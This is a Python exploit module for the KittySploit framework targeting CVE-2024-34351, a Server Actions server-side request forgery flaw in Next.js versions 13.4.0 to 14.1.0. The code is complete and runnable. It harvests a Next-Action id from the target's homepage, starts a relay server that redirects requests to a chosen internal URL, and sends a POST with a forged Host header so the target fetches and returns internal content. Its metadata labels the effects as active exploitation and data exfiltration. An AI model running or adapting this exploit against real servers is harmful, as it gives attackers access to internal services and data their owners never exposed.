Next.js CVE-2024-34351 Server Actions SSRF

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Next.js CVE-2024-34351 Server Actions SSRF via Host-header relay."""

from __future__ import annotations

import re
import threading
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Next.js CVE-2024-34351 Server Actions SSRF",
        "description": (
            "CVE-2024-34351 (Next.js 13.4.0–14.1.0): Host-header Server Action "
            "redirect SSRF. Starts a local relay (HEAD text/x-component, GET 302 to "
            "internal_url) and POSTs with Next-Action to fetch internal content."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2024-34351"],
        "platform": Platform.MULTI,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-34351",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["nextjs", "ssrf", "server-actions", "cve-2024-34351"],
        "agent": {
            "risk": "high",
            "effects": ["active_exploitation", "data_exfiltration"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": True,
            "produces": ["file_read", "exploit_paths"],
            "requires": {"tech_hints_any": ["nextjs", "next.js"]},
            "chain": {
                "suggested_followups": [
                    "scanner/http/nextjs_cve_2024_34351_detect",
                    "scanner/http/nextjs_cve_2026_44578_websocket_upgrade_ssrf_detect",
                ],
            },
        },
    }

    ssl = OptBool(False, "Target uses HTTPS", required=True)
    internal_url = OptString(
        "http://127.0.0.1:80/",
        "Internal URL for the target app to fetch",
        required=True,
    )
    action_id = OptString("", "Next-Action id (auto from homepage if empty)", required=False, advanced=True)
    relay_host = OptString(
        "",
        "Relay host:port as seen by target (defaults to lhost:srvport)",
        required=False,
        advanced=True,
    )
    srvhost = OptString("0.0.0.0", "Relay bind address", required=False, advanced=True)
    srvport = OptPort(8888, "Relay port (must match relay_host port)", required=False)

    def _discover_action_id(self) -> str:
        resp = self.http_request("GET", "/", allow_redirects=True)
        html = (resp.text or "") if resp else ""
        ids = re.findall(r"[0-9a-f]{40}", html)
        if not ids:
            raise RuntimeError("No 40-char Next-Action id in homepage HTML")
        return ids[0]

    def _start_relay(self, internal: str, port: int, bind: str) -> HTTPServer:
        class RelayHandler(BaseHTTPRequestHandler):
            protocol_version = "HTTP/1.1"

            def do_HEAD(self):
                self.send_response(200)
                self.send_header("content-type", "text/x-component")
                self.send_header("content-length", "0")
                self.end_headers()

            def do_GET(self):
                self.send_response(302)
                self.send_header("location", internal)
                self.send_header("content-length", "0")
                self.end_headers()

            def log_message(self, *_args):
                return

        server = HTTPServer((bind, port), RelayHandler)
        threading.Thread(target=server.serve_forever, daemon=True).start()
        return server

    def _fire_ssrf(self, relay: str, aid: str) -> str:
        scheme = "https" if self.ssl else "http"
        host = str(self.target or "").strip()
        port = int(self.port or (443 if self.ssl else 80))
        if (self.ssl and port == 443) or (not self.ssl and port == 80):
            base = f"{scheme}://{host}"
        else:
            base = f"{scheme}://{host}:{port}"

        req = urllib.request.Request(
            base.rstrip("/") + "/",
            data=b"[]",
            headers={
                "Host": relay,
                "Next-Action": aid,
                "Content-Type": "text/plain;charset=UTF-8",
            },
            method="POST",
        )

        class NoRedirect(urllib.request.HTTPRedirectHandler):
            def redirect_request(self, *_a, **_k):
                return None

        opener = urllib.request.build_opener(NoRedirect)
        try:
            with opener.open(req, timeout=float(self.timeout or 30)) as resp:
                return resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as exc:
            return exc.read().decode("utf-8", "replace")

    def check(self):
        try:
            aid = str(self.action_id or "").strip() or self._discover_action_id()
        except RuntimeError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {
            "vulnerable": True,
            "reason": f"Next-Action id present ({aid[:12]}...)",
            "confidence": "medium",
        }

    def execute(self, fetch_url: str) -> str:
        internal = str(fetch_url or self.internal_url or "").strip()
        if not internal:
            return ""
        relay_port = int(self.srvport or 8888)
        bind = str(self.srvhost or "0.0.0.0")
        relay = str(self.relay_host or "").strip()
        if not relay:
            lhost = str(getattr(self, "lhost", None) or self.target or "127.0.0.1")
            relay = f"{lhost}:{relay_port}"
        server = self._start_relay(internal, relay_port, bind)
        try:
            aid = str(self.action_id or "").strip() or self._discover_action_id()
            return self._fire_ssrf(relay, aid)
        finally:
            server.shutdown()

    def check_execute(self):
        body = self.execute(str(self.internal_url or ""))
        return bool((body or "").strip())

    def run(self):
        internal = str(self.internal_url or "").strip()
        if not internal:
            print_error("internal_url required")
            return False

        print_status("CVE-2024-34351 — Server Action SSRF")
        if not self.check_execute():
            print_error("SSRF did not return a body — check relay_host reachability from target")
            self.not_vulnerable()
            return False

        body = self.execute(internal)
        print_success("SSRF response body:")
        print_info(body[:12000])
        return self.handler_execute()